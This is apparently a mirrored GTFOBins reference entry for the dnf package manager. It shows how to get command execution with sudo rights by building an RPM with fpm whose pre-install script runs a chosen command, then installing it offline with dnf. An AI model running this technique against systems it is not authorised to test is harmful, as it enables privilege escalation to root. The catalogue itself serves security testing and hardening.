1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2026-03-07 06:31:33 +01:00
GTFOBins.github.io/_gtfobins/dnf
2026-01-21 17:20:29 +01:00

18 lines
477 B
Plaintext

---
functions:
command:
- code: |-
dnf install -y x-1.0-1.noarch.rpm --disablerepo=*
comment: |-
Generate the RPM package with [fpm](https://github.com/jordansissel/fpm) and upload it to the target.
```
echo /path/to/command >x.sh
fpm -n x -s dir -t rpm -a all --before-install x.sh .
```
The `--disablerepo=*` option is used for targets without Internet connectivity, can be omitted otherwise.
contexts:
sudo:
...